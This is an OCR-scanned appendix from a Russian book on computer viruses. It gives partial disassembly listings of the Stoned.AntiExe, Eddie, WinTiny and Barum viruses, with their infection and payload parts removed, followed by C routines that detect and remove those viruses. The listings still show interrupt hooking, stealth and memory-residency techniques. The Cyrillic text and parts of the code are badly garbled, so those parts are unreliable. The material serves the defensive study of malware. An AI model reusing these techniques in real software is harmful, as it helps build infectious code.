mob -  B3HTa Ha y  hhKajibHOM HHTepHeT-pecypce vx.netlux.org. noaaep- 
aciiBaeMOM v/hibhtejibHhm MejioBeKow no npo3BHmy herm it. Cjie/iyeT 
OTfleJIbHO ynOMHHVTb, HTO OCHOBHblMH CHenaMH J1JVA TipaMaTHMeCKHX H 
KOMHHeCKHX COOblTHH, II0BJIHHBI1IIIX Ha (fxjpMHpOBaHHC aBTOpCKHX HH- 
TepecoB b o6,iacTH 3amHTbi HHcJ)opMaiiHH, nocJiyaciuiH b 1990-x roaax 
HOBOcTHaa KOHcjjepeHHHH relcom.comp.virus h KOMnbroTepHbie KJiaccbi 
KacJ)eapbi HH(J)0pMauH0HHbix CHCTeM h TexHo.xorHH CaMapcKoro aapo- 
KOCMHHeCKOrO VHHBepCHTeTa.

Hy a nocBHTMTb 3Ty k h h t v  naao poflHbiM  h 6 . i h 3 k h m  -  h aciiBbiM, h  no- 
KIIHyBUlHM Haiu M Iip. Be3 flOnOJIHHTCJIbHblX KOMMeHTapHCB.

C r.xy6oHaHUjHM noMTeHHew h HCKpeHHefiiueii npeaaHHocTHio ecMb, 
MHJiocTHBbie rocynapn, Bam n oK opH bifl c.wra -  JGiHMCHTbeB K. E. aka 
Drmad/NE
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nPMAOXEHME

Auctm h™  BMpyCOB 
H aHTHBHpycHbix

npoueAyp

1. A mCTHH™ KOMnbiOTepHbix BMpyCOB
JIhcthhih KOMHbK)TepHhix BHpycoB nojiyneHbi npn noMomn 6ecnjiaTHUx 
h ycjioBHo-6eciuiaTHMX BepcHH yra>iHT HIEW (aBTop E. Poiuajib), IDA  
(aBTop H. rHflb(J)aHOB) h Sourcer. Bo Bcex jiHCTHHrax yaa;ieHbi <J>parMeH- 
tu , oTBenaiomHe 3a 3apa»ceHHe nporpaMM h BunojiHeHHe BpeaoHocHux 
fleHCTBHii, a TaiOKe He oTHOcHmneca k paccMaTpHBaeMOH TeMe.

1 .1 . IlMCTMHr 3arpy3QHHoro BHpyca Stoned .AntiExe
0000 14E940 Start jmp Begin

; 06/iacTb cnpaeoMHUx flaHHbix Bwpyca
0003 01 db ?

0004 0000 Save_CX dw ?

0006 00 Save_DH db ?

0007 20 Save_AX dw ?

; BnoK napaMetpoB flMCKetu
db 30 dup (?)

; CurnaTypa "He.nio6iiMoir nporpaMMU
001E 40 EXESign db 8 dup (?)

; 3 t o  BM pycHbiS o 6 p a 6 o T M w <  a m c k o b o to  n p e p w s a H M fl. 

; Oh n o j iy M a e r  y n p a s /ie H M e  n p n  /iioGofi nonwTKe 
; o S p a T n T b c s  k  a n o K e ie  w in  e n m e c T e p y .

New13:

mov word p tr  cs:Save_AX,ax
; Cpa3y *e nepeaflpscoeaTb TeKyuiyo onepaqwo 
; 0 pnriiHa)ibH0My o6 pa6 oTMM<y. 

in t  0D3h
Jc E rro r
pushf

; npoeepMtb kor onepaunn, npn noMomn Koropofi

002C 2E:A3 0007

0030 CD D3 
0032 72 4A 
0034 9C
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0035
003B

; ocywecTBJiflJicfl flocTyn k fluoKy. flejio b tom, 
; h to  Bnpyc 06pa6aTbiBaeT TOJibKO pe3y/ibTaT 
; MTBHMfl flucKOBbtx ceKTopoB (ah=2).

2E:80 3E 0008 02 cmp cs:Save_AX+1,2 ; 3to
76 40 ]ne OK ; curnaTypal

5ujio BunojiHeHo meHMe K a K o r o -T o  ceicropa 
C flMCKeTM HJIH BMHMeCTGpa B 6y<t>ep naMHTH 
c aapecoM ES:BX.

flanee BunonHswrcs cpaBHeHne coflepxiworo 
npoMHTaHHOTO Cy(t>epa c yHKKajibHoii c w rH a T y p o S i  

HeKOfi EXE-nporpaMMH m nopna stoto coaepxMMoro,
ecjin cpaB H eH M G y c n e u iH O . 3a s t o  a e & c T B M e

B n p y c  n  n o fly H m i C B o e  m m a  AntiEXE. (® p a rM e H T

nponymeH)

0070 83 F9 01 cmp cx, 1
0073 75 08 j n e OK
0075 80 FE 00 cmp dh, 0
0078 75 03 j n e OK
0Q7A E8 0004 c a l l Stealth
0070 OK:
00 70 9D p o p f

007E E r r o r :

00 7E CA 0002 r e t f 2
3Ta n p o u e a y p a  H e n o c p e a c T B e H H O  Bbi.noJiHoeT

o 6 p a 6 o T K y  o n e p a m w  u r e m ia  c e s c ro p o B . Ee
Ha3HaMeHMe: 1) ec/w npoM M TaH  K a ic o ii-H M g y flb

ceKTop flMCKeTbl, t o  3 a p a 3 M T b  ee; 2) ec.nn
rtpoM M TaH 3 a rp y 3 0 M H b iii c e K T o p  B n m e c T e p a ,

to aaMBHMTb MHifiopMaumo b np0M H TaH H 0M  6y<tiepe
P.aMflTK JiOXHOiS.

Stealth:
0081 50 push ax
0082 53 push bx
0083 51 push cx
0084 52 push dx
0085 1E push ds
0086 06 push e s

0087 56 push si
0088 57 push di
0089 06 push es
008A IF pop ds

CpaeHKTb npoMHTaHHoe cofiepxiwoe 6y<J>epa
c koaoh caMoro Bnpyca.

008B 2E:A1 0000 mov a x ,cs:Start
008F 3B 07 crap a x , [ b x ]
0091 75 18 jne NotMe
0093 2E:A1 0002 nov ax,cs:Start+2
0097 38 47 02 cmp ax,[tx+2]
009A 75 OF jne NotMe
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009C
00A0
OOA4
00A7

00A9

0102 
0105 
0107 
010A 
01OG

01OE 
010E 
010F 
0110 
0111 
0112
0113
0114
0115
0116

0117 
0119 
011B

011F 
0123

0127
0128 
012A 
012D 
012F
0130
0131

8B 8F 0004 
8A 87 0006 
B8 0201 
CD 03

E8 63

Ecjih c p ^ bhqhmg npoumo ycneniHO, t o  s a rp y s m b  b 
psruC Tpw  KOopflHHaTu cnpfiTaH H oro opMruHanbHoro 
3arpy3MMKa u n0BT0pH0 Buno/iHMTb onepauwo mt6hkb 

«ov cx,[bx+4]
now dh,[bx+6]
mov a x ,2 0 lh
int *  003h

B pe 3 yn b T a re  co tte o m m o e  6 y$e pa  aaMeHeHO 
TeM, WTO "aOMHO C blTb", a He T0H, 4 TO 
” ecT b  Ha caMOM a e / ie " .

jmp short Return
NotHe:

R anee cneayeT 0parMeHT 3apa*eHMR fluoKeTw 
(ocHOBHaa Maotb ero nponymena).

COXpaHMTb OpMrnHa/lbHUjt 3arpy3MMK flMCKeTbl 
Ha Hefi xe.

B8 0301 mov ax,30lh
33 08 xor bx.bx
89 0001 mov CX,1
2A F6 sub dh,dh
CO 03 int 0D3h

; BnKtm m3 npoueaypu, BoccTaHOBUB
Return:

5F pop di
5E pop si
07 pop es
IF pop ds
5A pop dx
59 pop cx
5B pop bx
58 pop ax
C3 retn

; C 3T0 it TOM KM BupyC (JiaKTHMeCKH
; Ha^MHaeT ceoe Bbino/tHeHMe.
Begin:

33 FF xor di.di
8E DF mov ds.di
04 16 004C les dx,[4Ch]

; CoxpannTb npexHee 3HaMeHne
; eeicropa npepuBaHiw I3h b BeKTope

89 16 034C mov 0fs_13,dx
8C 06 034E mov Seg_13,es

; H3MeHMTb nono*eHMe cteKa
FA C l l

8E 07 mov ss.di
BE 7C00 mov si,7C00h
8B E6 mov sp, sx
FB Stl
IE push ds
56 push si

D3h.
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0132 56 push s i

; CKpblTb OT CHCT9MH0M fiaMBTH
; i|)parMeHT pa3MepoM b 1 K6

0133 Al 0413 mov ax,[413h]
0136 48 dec ax
0137 A3 0413 mov [413h],ax

; PaccMMTaTb cerMeHTHbiS aflpec
; cxpMToro fcparMema naMstn

013A B1 06 mov cl,6
013C 03 E0 shl ax, cl
013£ 8E CO mov es.ax

0140
0143
0149

014A 
0140 
014E
0151
0152

A3 004E 
C7 06 004C 
50

B8 0155 
50
B9 0100 
FC
F3/A5

; V'OTaHOBilTb C06CTBeHHblii, BupyCHHfi 
; o6pa6oTHMK fltiCKOBoro npepueaHMs 

mov [4Eh],ax
0027 mov [4Ch],offset New13 

push ax
; CKOnnpOBaTb ceoii icon H3 0.7C00 
; b CKpyTufi (fiparMeHT naMHTM

mov
push
mov
cld
rep

ax,offset 
ax
cx,lOOh

Copy2

0154 CB

m ovsw

; Buno/iHMTb nepexofl b

; cscpw Tye tconm B u p y c a , n a  M e ric y  Copy2 
retf

; 3 T a  n a c T b  B u p y c a  B w n o /iH fle T c o , 6 y fly H M  

; p a c n o j io x e n a  b  ckputom ( ip a rM e H T e  n a M n m  

Copy2:
0155 33 CO xor ax, ax
0157 8E CO mov es,ax
0159 CO D3 in t 0D3h
015B 0E push cs
015C 1F pop ds
015D B8 0201 mov ax,201h
0160 58 pop bx

; MaBnenb coxpaneHHtiK bo Bpens npoianoro
; 3apa*eHwq npM3HaK MCTOHHMKa sarpyaKu:
; c BtiHMecTepa wjih C flMCKBTbi.

0161 88 0E 0004 mov cx, Save_CX
0165 83 F9 0D cmp cx,00h
0168 75 06 jne From_FDD

From_HDD:
016A BA 0080 mov dx,80h
016D CD D3 in t 0D3h
016F GoJJut:
016F CB retf

0170

9tot (fparMeHT Btimonmejca, 
ynpaB/ieHne noc/ie sarpysKu 
eiipyc cpasy *e nonwTaeTCfl 

From_FDD:

ecnw enpyc nonyywi 
c flHCKe™. lenepb 
3apa3MTb BMmecTep.
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0170 2B 02 sub dx.dx
0172 8A 36 0006 mov dh,Save_DH
0176 CD 03 y t 003h
0178 72 F5 jc Go_0ut

; npOMKTaTb m 3 ceKTopa 0/0/1 BMHwecTepa
; oprnHa/ibHbiii sarpy3HHK.

017A 0E push cs
017B 07 pop es
017C B8 0201 mov ax,201h
017F BB 0200 mov bx,200h
0182 B9 0001 mov cx, 1
0185 BA 0080 mov dx,80h
0188 CD 03 int 003h
018A 72 E3 jc Go_0ut

; CpaBHMTb nepBue SaiiTbi npcwMTaHHoro sarpy3HHKa
; c nepBbiMH 6aitTaMvt Bnpyca: He aapa*eH nvt

; BHHMeCTep yxe?
018C 33 F6 xor si, si
018E AD lodsw
018F 3B 07 cmp ax,[bx]
0191 75 06 jne Not.EQ
0193 AD lodsw
0194 3B 47 02 cmp ax,[bx+2]
0197 74 06 je Go_0ut

; CoxpaHMTb opMnwaJibHbiii 3arpy3HMK b ceKTope
: c KoopflMHaTaMH O/O/ODh.

Hot_E0:
0199 B9 000D mov cx,00h
019C 89 OE 0004 mov Save_CX,cx
01A0 B8 0301 mov ax,30lh
01A3 50 push ax
01A4 CD D3 int 0D3h

3anncaTb BMpycHbifl koa b aa rpy304HHJi ceKTop 
anwecTepa (stot OparMeHT nponyneH)

01 BO CB r e t f

; Partition Table ettHMecTepa 
01 BE ?? db 64 dup (?)

; Flpn3HaK 3arpy3o>4Horo ceicropa 
01 FF AA 55 SignDK dw 55Aah

1 .2 . /iMCTMHr Bnpyca Eddie, 3apaxaK>uiero nporpaMMbi 
MS-DOS
0100 start:
0100 E9 0288 jmp real_start
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; 3fleob pacno/iara/ics koa aapaxeHHOii cpo3oi(iM/ibi 

0388 real_start:
; lOiaccimeoKoe BUMMc/iewie cMeuieHra tejia BHpyca b naMHTH
038B E8 0000 call sub_1
038E sufi_1 proc near
038E 5B pop bx
038F 83 EB 03 sub bx,3
; Aapecamw Ha TaSnmiy BeKTOpoB npepbtBaHMii
0392 50 push ax
0393 2B CO sub ax, ax
0395 8E CO mov es.ax
; CoxpaHeHMe b h'/t p m BMpyca cTapbix anaMeHMii eeiaopa 21h
0397 26: A1 0084 mov ax.es: [84h]
039B 2E: 89 87 027C mov cs:data_6[bx],ax
03A0 26: A1 0086 itmv ax.es: [86h]
03A4 2E: 89 87 027E mov word ptr cs:data_6+2[bx],ax
; NpOK3HeceHMe "napowr
03A9 B8 A55A mov ax,0A55Ah
03AC CO 21 int 21 h
; (lposepKa "0T3biBa"
03AE 30 5AA5 cmp ax,5AA5h
0381 74 43 je loc_1
; "0T3bisa" He twno, cneaosaTeJibHO, BMpycy TpeSyeTca 
; pe3MAGHTHaw ycTaHOBKa b nawsTb (nponyneHa)

; KonnposaHHe Tejia BHpyca b BUAenenHuii $parneHT naMsm
03DE B9 0140 mov cx, VirLen/2 ; 140h
03E1 FC eld
03E2 2E: F3/ A5 rep movsw
03E5 8C CO mov ax.es
03E7 8E Cl mov es.cx
; 3aMeHa BeKTopa 21 h cctMKOii na peaMfleHTHufi BupycHbiii oSpaSoTMMK
03E9 FA cii
03EA 26: C7 06 0084 OOA7 mov word p tr  es:[84h], New21 ; 0A7h
03F1 26: A3 0086 mov es:[86h],ax
03F5 FB sti
; (SparHeHT B03BpayeHua ynpaeneHnsi nporpaMMe-HOCMTemo 
03F6 loc.1:
03F6 1E push ds
03F7 07 pop es
; P p o B e p K a  T u n a  n p o rp a M M M -H O c n T e flf l: EXE tutu COM?
03F8 2E: 8B 8 7 0288 mov a x , c s : d a t a _ 1 2 [ b x ]

03FD 3D 5A4D cmp ax,5A4Dh

0400 74 14 j e loc_2
0402 3D 4D5A cmp ax,4D5Ah
0405 74 OF j e loc_2
; flepeaaMa ynpae/ieHra na COM-nporpaMMy
0 4 0 7  n B F  0 1 0 0 mov a i , i 0 0 h
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040A 89 OS mov [di],ax
040C 8A 87 028A (BOV al,byte ptr data_14[bx]
0410 88 45 02 mov [di+2],al
0413 58 pop ax
0414 57 push di
0415 C3 retn
; flepenaMa ynpaaneHMH Ha EXE-nporpaMMy
0416 loc_2:
0416 58 pop ax
0417 8C DA nov dx,ds
0419 83 C2 10 add dx,lOh
041C 2E: 01 97 0282 add word ptr cs:data_8+2[bx],dx
0421 2E: 03 97 0286 add dx,cs:data_n[bx]
0426 8E 02 mov ss.dx
0428 2E: 8B A7 0284 mov sp,cs:data_i0[bx]
042D 2E: FF AF 0280 jmp dword ptr cs:data_8[bx]

; BMpycHaii o6pa6omMK npeptisanmb 2lh (nepeue ero 6a«Tbi - cMmatypa!)
0432 FB sti
0433 30 4B00 cmp ax,4B00h ;; 3 t o  3anycK npo rp aM M b i?

0436 74 51 je loc_8
0438 80 FC 11 cmp ah,11h ; 3 t o  noMCK nepBoro tyaihna?
043B 74 OD je loc_3
043D 80 FC 12 cmp ah,12h ; 9 t o  noMCK oieayioiuero <(>aCi/ia?
0440 74 08 je loc_3
0442 30 A55A cmp ax,0A55Ah ; 3 t o  aanpoc ''naponsr?
0445 74 3F je loc_7
0447 E9 019A jmp loc_26

; 3/16M0HT steal th-TexHonorMM, cawpcTOflTejibHan o6pa6oTKa cepBMOOB 
Ilh/I2h
044A loc_3:
044A 9C pushf
0448 2E: FF 1E 027C call dword pt
0450 84 CO test al.al
0452 75 31 jnz loc_ret_i
0454 50 push ax
0455 53 push bx
0456 06 push es
0457 8B 0A mov bx.dx
0459 8A 07 mov al,[bx]
045B 50 push ax
; KaKQBo BpeMfl C03flaHMfl HaftfieHHoro Gafina?
045C B4 2F mov ah,2Fh
045E CO 21 int 21 h
0460 58 pop ax
0461 FE CO inc al
0463 75 03 jnz loc_4
0465 83 C3 07 add bx, 7
0468 loc_4:
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; EflMHCTBeHHan npoBepKa: coflepxm nn BpeMH co3aaHMfl 61 ceKyHfly?
0468 26: 88 47 17 mov ax.es:[bx+17h]
046C 24 1F and al,iFh
046E 3C IF cmp al,1Fh
0470 75 10 jne loc_5
; HH0OPM8L1MM 0 AflMHe 3apaxemoro tyaOina
0472 26: 80 67 17 E0 and byte ptr es:[bx+17h],0E0h
0477 26: 81 6F 10 028B sub word ptr es:[bx+1Dh],28Bh
0470 26: 83 5F 1F 00 sbb word ptr es:[bx+1Fh],0
0482 loc_5:
0482 07 pop es
0483 5B pop bx
0484 58 pop ax
0485 loc_ret_.6:
0485 CF iret
; Bo3BpaT npaB M JibH oro  "oTswea" b OTBeT Ha "napo/ib”
0486 loc_7:
0486 F7 00 not ax
0488 CF iret

; 3 f le c b  i|ipa rM eH T HH$HMHDOBaHHfl 3anycK aeM b ix npo rpaM M  (n p o n y m e H ) 

loc_8 :

; IlepeflaMa y n p a B J ie m ifi opurHHaJibHO M y o6pa6oTM M Ky no  coxpaHeHHOMy a a p e c y  

05E4 loc_26:
05E4 2E: FF 2E 027C jmp dword ptr cs:data_6

; 06pa6OTMMK CMCTeMHHX oiiim6 o k

int_24_entry:
05E9 BO 03 mov al,3
OSES CF iret

; Pa3fleji flaHHwx
05FB 45 64 64 69 65 db Eddie'
0600 20 6C 69 76 65 73 00 db 'lives’

1 .3 . JlwcTMHr BMpyca W in16.W intiny.b, 
sap axa io u ie ro  NE-nporpaMMbi

00030000: 9C Start: pushf : nepBbie 10 Sa&TOB - curHaTypa !!!
00030001: 60 pusha
00030002: 1E push ds
00030003: 06 push es
; flocTyriHbi jih cepBHCU DPMI ?
00030004: B88616 mov ax,01686
00030007: CD2F i n t  02F
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00030009: 0BC0 or ax, ax
0003000B: 7409 je Vir ; Ha BHpyc
; Bo3BpaT ynpaaneHiw "xepTBe"
00030000: 07 Finish: pop es
0003000E: IF pop ds
0003000F: 61 popa
00030010: 90 popf
; ItepexoA Ha nporpaMMy-HOCUTenb
00030011: EA0000FFFF jmp OFFFF:00000 ; flepeMenaeMan ccbinKa !!!

; 3flecb 0parM8HT m v > w a n w 3 s u . m  BHpyca
00030016: B80105 Vir: mov ax,00501
00030019: B9FFFF mov cx.OFFFF ; ftnma
0003001C: 33DB xor bx.bx
: Pacnpene/inTb b DPMl-naM<mi $parMeHT ftfiMHoit 64 K6
0003001E: CD31 int 031
: riOMeCTMTb /IMHeiiHHM 32-dMTOBbiM aflpeC B CTeK
00030020: 56 push si
00030021: 57 push di
00030022: 53 push bx
00030023: 51 push cx
00030024: 33C0 xor ax,ax
00030026: B90100 mov cx,00001
; Co3flaTb B LOT nycrofi flecKpunrop
00030029: CD31 int 031
0003002B: 8B08 mov bx.ax
0003002D: B80700 mov ax,00007
00030030: SA pop dx
00030031: 59 pop cx
00030032: C031 in t  831
; AflpecoaaTb ero Ha Hoewii cerMeHT
00030034: B80800 mov ax,00008
00030037: BAFFFF mov dx,0FFFF
0003003A: 33C9 xor cx.cx
; ycTaHOBMTb JiHMKT cerMeHTa
0003003C: C031 int 031
0003003E: B80900 mov ax,00009
00030041: B1F2 mov cl,0F2 ; 0>jiarn r/w
00030043: 32ED xor ch.ch
: ycTaHOBMTb /Vi a cerMeHTa 6mtw HTeHMP m sanncn 
00030045: C031 int 031
; 3arpy3UTb cefleKTOp b DS, Tenepb b stom cerMeHTe aaHHue Bupyca 
00030047: 8E0B mov ds,bx

00030049: 8F060200 pop [00002]
0003004D: 8F060000 pop [00000]
; Onpeae/iHTb cpeacTeaMti MS-DOS TeKymyio DTA
00030051
00030053
00030055

B42F mov ah,02F
CD21 in t  021
891E0400 mov [0 0 0 0 4 ],bx
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00030059: 8C060600 mov [00006], ex
0003005D: B44E mov ah,04E
0003005F: 33C9 xor cx, cx
00030061: BA9802 mov dx,offset Mask
00030064: 1E push ds
00030065: 0E push cs
00030066: 1F pop ds
; McKaTb no Macxe 1-u(i <faii;i
00030067: CD21 int 021
00030069: 1F pop ds
0003006A: 7314 jae Infect ; n p o a o n * H T b  p a 6 o T y

; teH/i He H a iia e H , H a  saeepweHMe
0003006C: E81802 call RemS : Y fla jie H M e  c e r M e H T a

0003006F: EB9C ]mp Finish ; Ha KOHeu

00030071: B43E mov ah,03E
00030073: C021 int 021
; MCK3Tb c/ieflywiiMii <|>aii.n
00030075: B44F m ov ah,04F
00030077: C021 int 021
00030079: 7305 jae Infect : n p 0 f l0 / i* M T b  p a S o T y

0003007B: E80C02 call RemS ; y a a /ie H w e  c e rM e H T a

0003007E: EB80 jm p s 00003000D I Ha KOHey

; 3ftecb itiparneHT MHtMUMpofiaHH.q st>ati/ioB (nponymeH) 
00030080: 1E Infect:

; yflaneHMe BHpycHoro cerMeHTa 
0003028A: B80205 RemS: mov ax,00502
0003028D
00030291

86360000
8B3E0200

; ynannTb cerMeHT 
00030295: CD31 
00030297: C3

mov si,[00000] 
mov di,[00002]

int 031 
retn

: KoHCTaHTd Bupyca
00030298 Mask db '-.EXE',0
0003029E CopyRt db 'WinTiny (C)Copyright June, 1995 by Burglar in Taipei, Tainan.

1.4. JliiCTMHr Bupyca Win32.Barum. 1536, 
3apaxaioiiiero PE-nporpaMMbi

start:
E800000000 call 000404205

404200 
404200 
404205: 50 
404206: 8BD0 
404208: 81ED05104000

40020E: 81EB

pop
mov
sub

ebp
ebx,ebp 
ebp,000401005

dw EB81

BbiMHC/ieHMe flejibTa-cMeiiieHMfl

3flecb SatfTbi CHmaTypu M ; 
Pacnpeflê MTb e CTeKe Mecro non 
MaHHue
Koa KOMaHflw sub ebx, ???????? -



640 «> Ai/CTMHTVi BMpycoB n aHTViBMpvcHbix npoueayp
400210 ? ? ? ? ? ? ? ? d d  ? ? ? ? ? ? ? ? sto flOBbimncneHne aenbTa-cMemeHvtsi
404214 B8 d b  B8 Ko a  KOMaHAU n o v  e a x ,  ? ? ? ? ? ? ? ?

404215 ? ? ? ? ? ? ? ? d d  ? ? ? ? ? ? ? ? +15li: 3 A e c b  C T a p u ii RVA t o m k m  Bxona
404219 03C3 a d d  e a x , e b x flO/lHUii RVA TOM KM BXOAa
40421B 50 p u s h  e a x ( lo M e c T M T b  a a p e c  B c T e x

40421C E80B000000 call 00040422C (loM C K  a a p e c o B  B K E R N E L 3 2 .D L L

404221 E884000000 call 0004042AA B u n o n H e n n e  A ecT p yK T M B H b ix  fleCicTBHCt

404226 E8D8000000 call 000404303 flOMCK M MHl|)MUMpOBaHMe 0 a fin o B

40422B C3 r e t Boaepat b  n p o rp a M M y -H o c w T e /ib

; 0yHKUMB c t p o h t  TaCflMuy aapecoe no aflpecy, yKasaHHOMy b edi (nponyujeHo) 
40422C BuildAPXTable:

4042A5 C3 retn

; OyHtaiMsi 6 MapTa yaaBnfleT $aiSJ\u b cucTeMnoii Anpeicropnn Windows (nponymeno) 
4042AA Payload:

404302 C3 retn

; ®yHKUMA miieT h MH$MunpyeT ipaii/iw (nponymeHo) 
404303
404303 Infect:

4044C3 C3 retn

; Baok aaHHbix Bnpyca

4046CA aKernel32_dll db 'KERNEL32.dll' ,0
4046D7 aGetmodulehandl db 'GetHoduleHandleA',0
4046E8 aGetmodulehan_0 db 'GetModuleHandlew',0
4046F9 aGetprocaddress db 'GetProcAddress',0
404708 db ODh.OAh
40470A aBajanRumTekken db '[ Bajan Run. ]',0Dh,0Ah
40470A db 'Tekken',27h,' time ent no laziness.. ODh.OAh
40470A db 'GetSystemTime',0
404748 aDeletefilea db 'DeleteFileA',0
404754 aGetcurrentdire db 'GetCurrentOirectoryA', 0
404769 aGetwindowsdire db 'GetWindowsDirectoryA',0
40477E aFindfirstfilea db 'FindFirstFileA',0
404780 aFindnextfilea db 'FindNextFileA',0
40479B aFindclose db ‘FindClose’,0
4047A5 aCreatefilea db 'CreateFileA',0

4047B1 aCreatefilemapp db 'CreateFileMappingA',0
4047C4 aMapviewoffile db 'MapViewOfFile',0

4047D2 aUnrcapviewoffil db 'UnmapViewOfFile' ,0
4047E2 aClosehandle db 'CloseHandle',0
4047EE a_exe db ' * . exe' , 0
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2. HcxoAHbie reKCTbi aHTHBHpycHbix 
npoueAyp
B npHJioaeeHHH npHBeaeHU MHHHMajibHbie Bapnairrti hcxoahhx tck- 
ctob aHTHBHpycHbix npoiieayp, He coaepacamne OTjiaflOHHHX coo6me- 
HHH, KOHTpOJIH 0UIh60K H T. II. OHH OTJia*eHH C HCIT0JIb30BaHHeM 6ec- 
ruiarao pacnpocTpaiweMHX KOMnHjurropoB Borland C/C++ vl.01 (ajih 
M S-DO S) h Borland C/C++ v5.5 (ajih Endow s).

2.1 . npouenypbi peicypcMBHoro CKatinpoBatfini 
KaTanoroB
BapnaHTfl^a MS-DOS:

((include <dir.h>
((include <dos.h>

unsigned long total=0, cured=0;

void walk(char »Dir, char .Mask) { 
int ok; struct fffilk buf;

chdir(Oir);
Ok = findfirsT(Mask, &buf, FA_DIREC|FA_HIDDENjFA_SYSTEM|FA_ARCH)FA_RD0NLY); 
while (ok!=-1) { 

if (buf.ff_attrib&FA_DIREC) ( 
if (buf.ff_name[0]!='.') walk(buf.ff_name, Mask);

>
else {

if (infected(buf.ff_name>) { cure(buf.ff_name); cured++; ) 
total++;

>
ok = findnext(&buf);

)
chdir("..");

>

BapHaHT flJia Windows:

((include <windows.h>

unsigned long total - 0, cured = 0;

void walk(char »Dir, char *Mask) {
_WIN32_FIND_DATA buf; HANDLE h;

SetCu r rentDirectory(Di r);

i f  (( ti=F indF irs tF ile (M ask , &buf) )=-INVAlID_HANDLE_VALl)E) re turn ;
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while (1) {
if (buf.dwFileAtt ributes & FILE_ATTRIBUTEJ)IRECTORY) { 
if (buf.cFileName[0] I -  walk(buf.cFileName, Mask );
>
else {
if (infected(buf.cFileName)) < cure(buf.cFileName); cured++; } 
total++;

}
if (!FindNextFile(h, &buf)) break;

}
FindClose(h);
SetCurrentOirectory(.");

}

2.2. npoueAypu AeTeKTMpoBaHMsi m neseHMfi BHpyca 
Boot.AntiExe

char sign_antiexejnem[]=-{0x2E, 0x8D,0x3E, 0x00,0x08,0x02,0x75,0x40}; 
int infected_antiexe_mem() ( // EcTb Bupyc b naMHTM? 
int i ;
for (i=0;i<8;i++) if (peekb(0x9FC0, 0x35+i)!=sign_antj.exejnem[i]) return 0; 
return 1;

}

char patch_antiexe_mein[]={0x90, 0x90, 0x90, 0x90, 0x90, 0x90, OxEB, 0x40); 
cure_antiexe_ntem() < // nponaTHMTb naMSTb, o6e3BpeflM8 Bupyc 
int i;
for (i=0;i<8;i++) pokeb(0x9FC0, 0x35+i, patch_antiexe_meni[i]);

}

int infected_antiexe(int dev) { // (Iohck Ha ycTpoiteTBe A=1, 8=1, HDQ=0x80 
unsigned char buf[512]; 
biosdisk( 2, dev, 0, 0, 1, 1, buf );
if (!strncnip(&buf[0x35], sign_antiexe_mem, 8)) return 1; else return 0;

}

int cure_antiexe(int dev) { // BocciaHOB/teHMe 3arpy304H 0ro ceKTopa 

unsigned char buf[512]; 
biosdisk( 2, dev, 0, 0, 1, 1, buf );
biosdisk( 2, dev, (int)buf[6], (int)buf[5], (int)buf[4], i, buf ); 
biosdisk( 3, dev, 0, 0, 1, 1, buf ); // 3anncb

)

2.3. npoueaypbi AeTeicmpoBaHMsi m jieHeHira Bupyca 
Eddie.651 .a
HaHMeHOBaHHa nojieii M Z -3ar<wioBKa aaHo no nmepTeiccTOBOMy cnpa- 
BOHHfncy «TechHelp», nocKOJibKy ^aiia «wiimt.h> He npHJiaraeTCH 
k  MS-DOS-KOMnHJisrropaM.
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(include <io.h>
((include <fcntl.h>
((include <string.h>
•include <sys\stat.h>

struct exe { unsigned int ExeHead, PartPag, PageCnt, ReloCnt, HdrSize, MinMera, 
MaxHem, ReloSS, ExeSP, ChkSum, ExelP, ReloCS, TablOff, Overlay; }

_e;
struct com { unsigned char jmp; unsigned int rel; unsigned char r[25]; } _c; 
union beg { struct exe e; struct com c; };

unsigned char sign_eddie[]={OxFB, 0x3D, 0x00, 0x4B, 0x74, 0x51, 0x80, OxFC, 0x11, 0x74}; 
int infected_eddie(char *s) { // I Io m c k  B M p y c a  b  <t>aflne 
int f; long p = 0; union beg h; unsigned char buf[10]; 
f = open( s, 0_RDWR, S_IREAD|S_IWRITE); 
read(f, &h, sizeof(union beg)); // HMTaTb Hana/io fya&na 
if (h.e.ExeHead==0x5A4D) 11 3to EXE 
p=((long)h.e.HdrSize+(long)h.e.ReloCS)*16+(long)h.e.ExelP; 

if (h.c, jmp=0xE9) // 3 t o  COM c JMP b  H a H a n e  

p=(long) h.c.rel + 3; 
if (!p) return 0; // 3 t o  H e  COM m H e  EXE 
lseek( f, p+OxA7, SEEK_SET ); // Ha n o n o ie H M e  c n rH a T y p b i  

read(f, buf, 10 ); // HMTaTb 6aiSTH 
close(f);
if (!strncmp(buf, sign_eddie, 10)) 

return 1; // CMmaTypa He coBnana 
else

return 0; // CMrHaTypa co B n a na

}

void cure_eddie(char *s) { // Yaanenne Bupyca H3 <(ia«na 
int f; long p = 0; union beg h; 
f = open( s, 0_RDWR, S_IREAD|S_IWRITE); 
read(f, &h, sizeof(union beg)); // HMTaTb H3Ma/io 4>aiS/ia 
if (h.e.ExeHead==0x5A4D) { // 3to EXE 
p=((long)h.e.HdrSize+(long)h.e.ReloCS)»l6+(long)h.e.ExelP; 
lseek(f, p+0x280, SEEK_SET);
read(f, &h.e.ExelP, 2); // flpoHHTaTb cnpPTaHHwe ExelP
read(f, Sh.e.ReloCS, 2); // m ReloCS

}
if (h.c.jmp==0xE9) { // 3to COM 
p=(long) h.c.rel + 3; 
lseek(f, p+0x288, SEEK_SET); 
read(f, &h.c.]mp, 1); / / (lpo4MTaTb cnpflTaHHbie 
read(f, &h.c.rel, 2); // HaMa/ibHbie (jaJiTbi 0aii/ia

}
lseek(f, 0, SEEK_SET);
write(f, &h, sizeof(h)); // BoccraHOBHTb Hanano Gafina 
lseek(f, p, SEEK_SET);
_ w r i t e ( f ,  NULL, 0); / /  3annob 0 S a iiT O B  y c e K a e T  <t>aii.n
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close(f);
};

void detect_and_cu re_mem_eddie() { // Hohck Bnpyca b naMSiTM h yaaJieHne ero 
union REGS ir, or; struct SREGS sr; unsigned int type, size, s, i; 
ir.h.ah=0x52; int86x(0x21, &ir, &or, &sr); 
s = peek(sr.es, or.x.bx-2); // Aflpec 1-ro MCB
while (1) { // fipoSiTn ueno4«y HCB so kohus
type = peekb (s, 0); // Tun MCB
size = peek (s, 3); // Pa3Mep MCB
s+=size+1; // Ha cjieflyeuiMK MCB
if (type == ' I ' )  break; // (locneflHnii MCB 
>
if ((s<0x9FFF) 4& !strncmp((char *) MK_FP(s, 0xA7), sign_edflie, 10))

for (i=0;i<16;i++) pokeb(s, 0xA7+i, 0x90); // flaTM M Tb naM H Tb KO flaM n NOP

>

2.4. npoueAypu AeTeKmpoBaHMSi m jie*teHMfi BHpyca 
Win.Wintiny.b
